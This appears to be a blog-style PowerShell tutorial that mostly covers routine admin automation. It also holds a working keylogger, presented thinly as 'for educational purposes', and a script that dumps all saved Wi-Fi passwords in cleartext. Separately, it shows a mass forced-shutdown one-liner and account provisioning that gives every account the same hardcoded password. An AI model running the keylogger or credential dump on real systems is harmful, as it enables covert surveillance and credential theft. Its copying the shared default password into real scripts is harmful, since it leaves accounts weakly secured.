Automating Tasks with PowerShell

Here are some real-world PowerShell automation examples:

Retrieve All Saved Wi-Fi Passwords

$profiles = netsh wlan show profiles | Select-String "All User Profile"

foreach ($profile in $profiles) {
    $ssid = $profile.Line -replace ".*:\s*", ""
    $password = netsh wlan show profile name="$ssid" key=clear | Select-String "Key Content"

    if ($password) {
        $password = $password.Line -replace ".*:\s*", ""
    } else {
        $password = "Not Available"
    }

    Write-Output "SSID: $ssid | Password: $password"
}

Use case: Useful for IT admins who need to retrieve Wi-Fi passwords for multiple systems.

Keylogger in PowerShell (for educational purposes)

$code = @"
using System;
using System.Runtime.InteropServices;
public class KeyLogger {
    [DllImport("user32.dll")]
    public static extern short GetAsyncKeyState(int vKey);
    public static void Start() {
        while (true) {
            for (int i = 0; i < 255; i++) {
                if (GetAsyncKeyState(i) != 0) { Console.Write((char)i); }
            }
        }
    }
}
"@
Add-Type -TypeDefinition $code -Language CSharp
[KeyLogger]::Start()

Use case: Cybersecurity professionals use keyloggers to test system vulnerabilities and improve security.

List Running Processes and Kill a Specific One

Get-Process | Select-Object Name, ID, CPU
Stop-Process -Name "notepad" -Force

Use case: IT admins use this to monitor and terminate unresponsive applications.

Shutdown All PCs in a Network

(Get-Content computers.txt) | ForEach-Object { Stop-Computer -ComputerName $_ -Force }

Use case: IT teams can use this for network-wide maintenance.

Automate User Account Creation

$users = Import-Csv "users.csv"
foreach ($user in $users) {
    New-ADUser -Name $user.Name -SamAccountName $user.Username -UserPrincipalName "$($user.Username)@domain.com" -Path "OU=Users,DC=domain,DC=com" -AccountPassword (ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force) -Enabled $true
}

Use case: HR departments or IT teams can automate user onboarding by creating multiple Active Directory accounts in seconds.

PowerShell in Cybersecurity & Ethical Hacking

PowerShell is widely used in penetration testing and security analysis:

• Scanning networks for vulnerabilities
• Automating security audits
• Detecting & stopping malware
• Forensic investigations
• Privilege escalation testing

Example: A security engineer can write a script to automatically detect unauthorized USB devices plugged into a system.
